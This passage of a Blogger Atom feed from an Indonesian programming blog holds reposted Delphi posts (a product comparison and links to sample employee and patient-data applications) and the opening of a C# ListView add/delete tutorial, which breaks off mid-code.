untuk kebutuhan pengembagnan aplikasi dekstop saya sarankan untuk menggunakan Delphi 2007 for win 32 yang versi Enterprise. Dan untuk jangka panjang demi menghadapi banyak proyek dan job yang bermacam-macam, saya menyarankan untuk membeli produk RAD Studio 2007, tentu saja yang versi Enterprise juga jika memang untuk skala proyek besar. Tapi kalau memang developer yang bersangkutan hanya memiliki budget yang terbatas dan ingin bisa membuat aplikasi web anda bisa mengkombinasikan antara Delphi 2007 dengan Turbo Delphi for .NET.&lt;/p&gt;  &lt;p align="justify"&gt;Semoga review ini bisa memberikan gambaran kepada para pengembang sebelum memutuskan untuk membeli salah satu produk Delphi.&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://ekoindri.wordpress.com/2008/03/03/compare-delphi-2007-terhadap-rad-studio-2007/" target="_blank"&gt;ekoindri.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;p align="justify"&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:fd81005e-f48f-4990-a7a1-7f4e5af3759c" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/review" rel="tag"&gt;review&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-1269589846475129885?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/1269589846475129885/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=1269589846475129885&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1269589846475129885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/1269589846475129885'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/compare-delphi-2007-terhadap-rad-studio.html' title='Compare Delphi 2007 terhadap RAD Studio 2007'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-3572558391909711379</id><published>2008-03-17T09:57:00.001+07:00</published><updated>2008-03-17T09:57:25.112+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><title type='text'>Aplikasi Pegawai With Delphi</title><content type='html'>&lt;p align="justify"&gt;Mungkin anda sudah pernah melihat aplikasi pegawai yang ada di kantor2ini saya tidak sengaja menemukan di GOOGLE&amp;#8230; ya gitu dech.. aplikasi ini dibuat dengan High Level Programming alias Delphi Project walau masih sederhana tapi mungkin bisa menjadi referensi anda dalam membuat aplikasi yang rumit&amp;#8230;&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Itu dulu yang bisa saya share&amp;#8230;Mungkin kedepannya masih banyak lagi yang akan saya share ke semua pengunjung Blog saya&amp;#8230;&lt;/p&gt;  &lt;p align="justify"&gt;Oke Donlod Here&lt;/p&gt;  &lt;p align="justify"&gt;&lt;img alt="Pegawai" src="http://hanjian.files.wordpress.com/2008/03/aplikasi-pegawai.jpg" width="411" height="537" /&gt;&lt;/p&gt;  &lt;p align="justify"&gt;&lt;a href="http://rapidshare.com/files/96559599/pegawai.rar.html"&gt;Silahkan&lt;/a&gt;&lt;/p&gt;  &lt;p align="justify"&gt;salam,&lt;/p&gt;  &lt;p align="justify"&gt;Hanjian&lt;/p&gt;  &lt;p align="justify"&gt;source : &lt;a href="http://hanjian.wordpress.com/2008/03/02/aplikasi-pegawai-with-delphi/" target="_blank"&gt;hanjian.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;p align="justify"&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:c09259f9-8c6c-4901-949b-ae72d6525553" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/download" rel="tag"&gt;download&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-3572558391909711379?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/3572558391909711379/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=3572558391909711379&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3572558391909711379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/3572558391909711379'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/aplikasi-pegawai-with-delphi.html' title='Aplikasi Pegawai With Delphi'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-4078906507234658524</id><published>2008-03-17T09:54:00.001+07:00</published><updated>2008-03-17T09:54:49.212+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Delphi'/><title type='text'>Download Contoh Program Delphi</title><content type='html'>&lt;p align="justify"&gt;Dulu sebelum &lt;strong&gt;belajar web dan php&lt;/strong&gt;, bahasa pemrograman yang pertama saya pelajari adalah &lt;strong&gt;pascal&lt;/strong&gt;, dengan model pemrograman struktural. Program yang dihasilkan adalah program berbasis DOS. Kemudian saya beralih ke &lt;strong&gt;pemrograman delphi&lt;/strong&gt;. Tapi bukan curhat seperti ini yang akan saya tuliskan. Saya ingin berbagi &lt;strong&gt;contoh program delphi&lt;/strong&gt; yang menggunakan database. Program ini sangat sederhana, hanya dibuat untuk memudahkan suatu instansi (didaerah saya) untuk mengelola data-data pasien. Karena pada instansi tersebut masih menggunakan cara manual, yaitu data-data langsung dimasukkan ke dalam tabel MS-Access. Oh iya program ini menggunakan database MS Access untuk menampung datanya. &lt;strong&gt;Contoh program delphi&lt;/strong&gt; ini diminta oleh instansi tersebut, dan kabarnya dipakai secara resmi (senang juga rasanya bisa membantu).&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p align="justify"&gt;Sebenarnya program ini adalah versi lite (kecil) dari program profesionalnya :). Ceritanya begini, sewaktu KP (kerja praktik) saya membuat suatu &lt;strong&gt;program operasional rumah sakit berbasis client server&lt;/strong&gt;, tetapi karena tempat KP saya tidak bisa menggunakan program tersebut (karena alasan masih menggunakan program manual, sedang implementasinya akan memakan banyak biaya), kemudian rumah sakit tersebut meminta saya membuat program yang mengurusi bagian tertentu saja. Pada bagian tersebut, mereka sudah memiliki database sederhana menggunakan MS Access. Saya disuruh membuat front-end dari MS Access tersebut, nah jadi deh program seperti yang saya deskripsikan.&lt;/p&gt;  &lt;p align="justify"&gt;Apa yang bisa dipelajari melalui program ini ?&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;     &lt;div align="justify"&gt;Contoh &lt;strong&gt;program delphi&lt;/strong&gt; ini menggunakan database, anda bisa mempelajari cara menggunakan MS Access sebagai database. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Belajar Membuat model form MDI (multiple document Interface) &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Belajar menggunakan bahasa SQL untuk mengakses DB melalui program yang kita buat. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Ilmu lain, tergantung akan melihat program ini. &lt;/div&gt;   &lt;/li&gt;    &lt;li&gt;     &lt;div align="justify"&gt;Belajar membuat laporan dengan menggunakan rave report &lt;/div&gt;   &lt;/li&gt; kenapa saya tiba-tiba membahas tentang delphi ? jujur saja, saya tidak begitu berkompeten dalam bidang delphi, apalagi membuat program yang rumit dan tinggi, ampun deh. Tetapi saya pernah belajar saja, jika tidak begitu rumit sih masih bisa kok. Untuk selanjutnya saya akan membahas &lt;strong&gt;program-program delphi&lt;/strong&gt; yang pernah saya buat sebagai kategori baru. Bagi yang sudah jago delphi, tolong program-program saya jangan ditertawakan, karena saya hanya ingin berbagi saja kok, syukur-syukur kalau ada manfaatnya &lt;img alt=":)" src="http://bimoweb.com/wp-includes/images/smilies/icon_smile.gif" /&gt;    &lt;br /&gt;&lt;a href="http://www.orbitfiles.com/download/id2650678894.html"&gt;Download Contoh Program Delphi(Source Code)&lt;/a&gt;&lt;/ul&gt;  &lt;ul&gt;source : &lt;a href="http://bimoweb.com/download-contoh-program-delphi.html" target="_blank"&gt;bimoweb.com&lt;/a&gt;&lt;/ul&gt; &lt;/span&gt; &lt;ul&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; padding-bottom: 0px; margin: 0px; padding-top: 0px; display: inline" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:aede59a5-75f9-4f10-9818-4330a8c05fe4" class="wlWriterSmartContent"&gt;Technorati Tags: &lt;a href="http://technorati.com/tags/delphi" rel="tag"&gt;delphi&lt;/a&gt;,&lt;a href="http://technorati.com/tags/source%20code" rel="tag"&gt;source code&lt;/a&gt;,&lt;a href="http://technorati.com/tags/programming" rel="tag"&gt;programming&lt;/a&gt;,&lt;a href="http://technorati.com/tags/download" rel="tag"&gt;download&lt;/a&gt;&lt;/div&gt; &lt;/ul&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1475036015484717232-4078906507234658524?l=indoprogrammer.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://indoprogrammer.blogspot.com/feeds/4078906507234658524/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1475036015484717232&amp;postID=4078906507234658524&amp;isPopup=true' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4078906507234658524'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1475036015484717232/posts/default/4078906507234658524'/><link rel='alternate' type='text/html' href='http://indoprogrammer.blogspot.com/2008/03/download-contoh-program-delphi.html' title='Download Contoh Program Delphi'/><author><name>Bonitoo</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_JinBsxeKwxY/SOLOPM2U0MI/AAAAAAAAAKU/vCjOoffxzEA/S220/Bonitoo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1475036015484717232.post-1836649008790924167</id><published>2008-03-17T09:51:00.001+07:00</published><updated>2008-03-17T09:51:04.682+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C#'/><title type='text'>Tambah dan Hapus item pada listview (C# - Windows application)</title><content type='html'>&lt;p&gt;Intro    &lt;br /&gt;============&lt;/p&gt;  &lt;p&gt;Beberapa hari terakhir ini, gw lagi buat project yang berhubungan dengan operasi dasar pada listview. Sebenernya sih simple aja, seperti penambahan item pada listview, penghapusan item pada listview, mendapatkan jumlah item pada listview. Emang sih awal nya gw sedikit kesulitan, karena gw juga masih belajar ma yg nama nya C#. sekarang gw mao coba kasih sedikit source code untuk operasi seputar listview yang pernah gw buat.&lt;/p&gt;  &lt;p&gt;Project    &lt;br /&gt;==============&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p&gt;Ok, langsung aja kita mulai. Lo create project dulu yak. Terserah mo lo kasih nama paan tuh project. Pada Form yang lo buat, masukin sebuah Listview. Kemudian ubah properti listview tersebut sesuai ma yang gw buat.&lt;/p&gt;  &lt;table border="1" cellspacing="0" cellpadding="7" width="254"&gt;&lt;tbody&gt;     &lt;tr valign="top"&gt;       &lt;td width="112"&gt;&lt;b&gt;Properti&lt;/b&gt;&lt;/td&gt;        &lt;td width="112"&gt;&lt;b&gt;Value&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;      &lt;tr valign="top"&gt;       &lt;td width="112"&gt;BorderStyle&lt;/td&gt;        &lt;td width="112"&gt;FixedSingle&lt;/td&gt;     &lt;/tr&gt;      &lt;tr valign="top"&gt;       &lt;td width="112"&gt;FullRowSelect&lt;/td&gt;        &lt;td width="112"&gt;True&lt;/td&gt;     &lt;/tr&gt;      &lt;tr valign="top"&gt;       &lt;td width="112"&gt;GridLines&lt;/td&gt;        &lt;td width="112"&gt;True&lt;/td&gt;     &lt;/tr&gt;      &lt;tr valign="top"&gt;       &lt;td width="112"&gt;MultiSelect&lt;/td&gt;        &lt;td width="112"&gt;False&lt;/td&gt;     &lt;/tr&gt;      &lt;tr valign="top"&gt;       &lt;td width="112"&gt;View&lt;/td&gt;        &lt;td width="112"&gt;Details&lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;Tambahkan 2 buah TextBox dan 2 buah button. Sehingga tampilan menjadi seperti ini :&lt;/p&gt;  &lt;p&gt;&lt;img align="middle" src="http://i146.photobucket.com/albums/r274/am_dumb/add-deleteListview/gambar1.jpg" /&gt;&lt;/p&gt;  &lt;p&gt;Tambahkan code pad form_load&lt;/p&gt;  &lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;   &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;     &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; Form1_Load(&lt;span style="color: #0000ff"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    listView1.Columns.Add(&amp;#8220;Kode&amp;#8221;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    listView1.Columns.Add(&amp;#8220;Nama&amp;#8221;);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt; &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;}&lt;/pre&gt;&lt;br /&gt;  &lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Saat form tersebut di load atau tampil, maka aka menciptakan 2 buah kolom pada listview. Kolom pertama dengan header &amp;#8220;Kode&amp;#8221; dan yang kedua dengan header &amp;#8220;Nama&amp;#8221;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Double klik pada button1, dan masukkan code berikut ini:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border-right: gray 1px solid; padding-right: 4px; padding-left: 4px; font-size: 8pt; border-top: gray 1px solid; padding-bottom: 4px; margin: 20px 0px 10px; overflow: auto; border-left: gray 1px solid; width: 97.5%; cursor: text; max-height: 200px; line-height: 12pt; padding-top: 4px; border-bottom: gray 1px solid; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; background-color: #f4f4f4"&gt;&lt;br /&gt;  &lt;div style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;&lt;span style="color: #0000ff"&gt;private&lt;/span&gt; &lt;span style="color: #0000ff"&gt;void&lt;/span&gt; button1_Click(&lt;span style="color: #0000ff"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;{&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;if&lt;/span&gt; (listView1.Items.Count == 0)&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;        listView1.Items.Add(textBox1.Text);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;        listView1.Items[0].SubItems.Add(textBox2.Text);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    }&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    &lt;span style="color: #0000ff"&gt;else&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: #f4f4f4; border-bottom-style: none"&gt;&amp;#160;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 0em; overflow: visible; width: 100%; color: black; border-top-style: none; line-height: 12pt; padding-top: 0px; font-family: consolas, &amp;#39;Courier New&amp;#39;, courier, monospace; border-right-style: none; border-left-style: none; background-color: white; border-bottom-style: none"&gt;    {&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;    &lt;pre style="padding-right: 0px; padding-left: 0px; font-size: 8pt; padding-bottom: 0px; margin: 
